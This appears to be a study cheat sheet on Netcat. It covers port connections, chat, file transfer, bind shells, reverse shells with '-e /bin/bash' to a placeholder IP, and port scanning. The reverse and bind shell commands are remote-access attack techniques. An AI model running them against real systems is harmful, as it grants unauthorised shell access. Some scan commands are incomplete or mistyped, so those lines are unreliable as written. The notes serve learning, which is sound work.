Netcat

Communicating to open ports

nc -nv <ip.add.res.s> <port>

-n: skip name resolution
-v: verbose
target IP address
target port

Client/Server

Server

Listening on port 4444 nc -nvlp 4444

-n: skip name resolution
-v: verbose
-l: listen
-p: port

Client

nc -nv <ip.add.res.s> 4444

This can now be used as simple chat service/application.

File transfer

Server

nc -nlvp 4444 > incoming.exe

flowchart TD; 
	A[Listner started on port 4444] --> B[Client Connected];
	B -- Yes --> C[Redirect input to piped exe];

Client

nc -nv <ip.add.res.s> 4444 < <file_to_transfer.exe>

flowchart TD; 
	A[Start connection] --> B[port 4444];
	B -- Yes --> C[send file_to_transfer.exe];

Administration

The netcat traditional version of Netcat (compiled with the "-DGAPING_SECURITY_HOLE" flag) enables the -e option, which executes a program after making or receiving a successful connection.

Redirection

-e option can redirect input/output and error messages of executable to TCP/UDP port.

Shell binding

Server

nc -nvlp 4444 -e /bin/bash

Client

nc -nv <ip.add.res.s> 4444 (Above clent will be presented shell of server this is called shell binding)

graph TD; 
client --> server_shell_session;

Reverse Shell

Server

nc -nvlp 4444

Client

nc -nv <ip.add.res.s> 4444 -e /bin/bash

Client gives shell access to server.

graph TD; 
server --> clients_shell_session;

TCP Scanning

• Port scan on ports 3000-3999

nc -nvv -w 1 -z 3000-3999

UDP Scanning

nc -nv -u -z - w 1 3000-3999